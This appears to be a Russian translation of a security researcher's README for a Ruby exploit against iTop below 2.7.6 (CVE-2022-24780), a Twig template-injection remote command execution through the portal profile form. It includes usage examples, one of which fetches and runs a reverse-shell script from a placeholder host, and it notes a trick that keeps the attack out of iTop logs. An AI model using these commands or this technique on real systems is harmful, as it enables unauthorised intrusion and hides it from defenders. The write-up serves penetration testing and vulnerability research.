
iTop < 2.7.6 - (Аутентифицированное) удаленное выполнение команд
iTop < 2.7.6 - (Аутентифицированное) удаленное выполнение команд
Эксплойт для CVE-2022-24780.
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
Полный вариант эксплойта использует Watir с веб-браузером, управляемым Selenium, для эмуляции действий пользователя. Это необходимо для сохранения информации пользователя. Эксплойт внедряет полезную нагрузку SSTI в подчасть формы, используемой для изменения информации пользователя в профиле портала. В то время как некоторые значения могут быть жестко заданы или получены из HTML, другие (телефон, местоположение, должность) загружаются динамически через JavaScript и вставляются в HTML. Чтобы эксплойт не был разрушительным, необходимо выполнить JavaScript для получения этих значений.
Легкий вариант эксплойта не так заботится об этом и просто разрушительно устанавливает нулевые значения для некоторых полей информации пользователя (телефон, местоположение, должность). Однако этот вариант выполняется быстрее, требует меньше зависимостей, не выполняет JavaScript и не нуждается в X-окружении (Watir требуется для работы веб-браузера).
Кратко: установите всё bundle install
Полный вариант
Пример с использованием gem:
gem install httpx docopt watir webdrivers
Легкий вариант
Пример с использованием gem:
gem install httpx docopt nokogiri
Не рекомендуется использовать полезные нагрузки с двойными кавычками (") или обратной косой чертой (\), так как полезная нагрузка внедряется в JSON.
Предупреждение: этот контейнер не подходит для использования в production!
Используя vbkunin/itop:2.7.4 - исходник - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
Уязвимость была найдена Markus KRELL.
Анализ уязвимости от первооткрывателя:
ACCEIS не пропагандирует и не поощряет незаконную деятельность, весь контент, предоставленный в этом репозитории, предназначен только для исследовательских, образовательных целей и целей обнаружения угроз.
Как аудитор безопасности (или любая другая роль белого хакера), с одной стороны, вы хотите запустить скрипт эксплойта, чтобы проверить практическую эксплуатируемость теоретической уязвимости на основе номера версии приложения, которое вы определили, но с другой стороны, вы хотите, чтобы это было сделано правильно, без разрушительных действий, чтобы приложение клиента осталось в том же состоянии, в котором вы его впервые обнаружили.
Например, этот эксплойт срабатывает на странице профиля пользователя, поэтому есть форма с уже заполненной информацией о пользователе: имя, фамилия, ID организации, email, телефон, ID местоположения, должность, ID менеджера. Для атаки достаточно переопределить уязвимые поля и заполнить другие нулевыми или случайными значениями, если они обязательны. Именно это и делает легкий вариант эксплойта. Но при этом вы уничтожите актуальную информацию этого пользователя; это не проблема в тестовой среде, но является реальной проблемой, если вы находитесь в производственной среде. Черный хакер не будет об этом беспокоиться, но как белый хакер мы должны сохранить данные. Поэтому решение — получить фактические данные и повторно использовать их в нашем POST-запросе.
В классических веб-приложениях часто достаточно напрямую сформировать POST-запрос с правильными параметрами, направленный на уязвимую конечную точку. Иногда нужно обрабатывать сессии/куки, перенаправления, некоторые предыдущие состояния, которые могут потребоваться, получение какого-либо ID или anti-CSRF токенов, но все это остается довольно простым и может быть выполнено практически любой HTTP-библиотекой на любом языке.
Чтобы получить фактические данные, когда данные в форме поступают:
В некоторых современных веб-приложениях это становится немного сложнее, когда многие значения задаются с помощью сложных манипуляций JavaScript. Здесь вы не можете просто разобрать HTML или запросить REST API, вы не можете ни извлечь значение напрямую из JavaScript-файла, ни разобрать несколько строк и пересчитать значение. Когда вычисления JS настолько сложны, происходят во многих разных JS-файлах или исходный код JavaScript обфусцирован или упакован, потребуется слишком много усилий и времени, чтобы обратить инжиниринг механизма и извлечь значение. В этом случае вам фактически нужно взаимодействовать с JavaScript из приложения. Но классический скрипт эксплойта, требующий только HTTP-библиотеку, не может сделать это (в одиночку)!
Эксплуатировать уязвимость вручную легко: вы просто просматриваете приложение, позволяете вашему браузеру обрабатывать весь JavaScript, устанавливаете перехватывающий прокси, например Burp Suite, чтобы иметь возможность изменить запрос перед его отправкой, и все готово. Но сделать то же самое автоматизированным способом гораздо сложнее. Для взаимодействия и выполнения JavaScript нам нужен безголовый браузер (который может или не может требовать графического окружения) и библиотека эмуляции пользователя. К счастью, уже существуют продвинутые библиотеки функционального тестирования, которые можно использовать для управления безголовым браузером. Самая известная — Selenium, но также есть Cypress. Вне тестовых наборов существуют библиотеки, предлагающие более общую автоматизацию, такие как Playwright или Puppeteer. В обоих случаях используется DSL, имитирующий поведение пользователя, как если бы пользователь использовал приложение, поэтому код, который мы напишем, будет указывать браузеру «нажми здесь», «введи мое имя в поле имени», «нажми эту ссылку» и т.д. Ограничение тестовых фреймворков в том, что они позволяют делать только то, что сделал бы обычный пользователь; например, обычный пользователь не извлекает содержимое тега script или скрытого поля, поэтому вы тоже не можете этого сделать. Они также предназначены для извлечения значений и сравнения их с ожидаемыми, а не для их установки. Кроме того, выполнение с использованием безголового браузера происходит гораздо медленнее и может потребовать громоздкого написания DSL. Поэтому в итоге мы хотим использовать безголовый браузер и тестовый фреймворк как можно реже.
Что делает легкий вариант эксплойта: подключается к приложению, получает форму профиля пользователя, чтобы извлечь все возможные значения, и использует пустые значения для номера телефона, ID местоположения и должности, а затем отправляет эксплойт.
Однако что делает полный вариант эксплойта: подключается к приложению, получает форму профиля пользователя, чтобы извлечь все возможные значения, затем использует безголовый браузер для подключения, получает форму профиля пользователя, чтобы извлечь 3 значения, которые были установлены из JavaScript, а затем отправляет эксплойт. Это в значительной степени тот же процесс, за исключением того, что мы не используем нулевые значения для полей данных, заполняемых JavaScript, а фактически извлекаем их с помощью безголового браузера, который выполнит JavaScript, заполняющий эти значения, чтобы мы могли их получить. Также технически возможно на 100% написать эксплойт, используя только безголовый браузер, но мы столкнемся с ограничениями, обсуждавшимися ранее; поэтому я выбрал гибридный подход с минимальным использованием безголового браузера.
Первооткрыватель уязвимости CVE-2022-24780, Markus KRELL, написал подробную аналитическую статью в блоге: iTop – Инъекция шаблонов в портале клиента.
Вкратце уязвимость возникает при изменении профиля пользователя. Когда пользователь отправляет форму для обновления своей информации, он отправляет огромный JSON-объект, содержащий различные метаданные для бэкенда, но данные пользователя для обновления хранятся в виде XHTML в подузле JSON formproperties.layout.content. Однако Маркус заметил в исходном коде, что formproperties.layout.type может принимать как XHTML, так и Twig. Конечно, когда он увидел упоминание Twig, он сразу подумал о потенциальной SSTI. Поэтому он перепробовал все поля в содержимом, чтобы определить уязвимое, и обнаружил, что атрибуты data-field-id и data-field-flags уязвимы. Затем можно использовать классические полезные нагрузки инъекции шаблонов Twig. В качестве бонуса он также обнаружил, что добавление |join(',') к выражению преобразует результирующий массив в строку и таким образом позволяет избежать записи в журналы iTop, делая атаку более скрытой.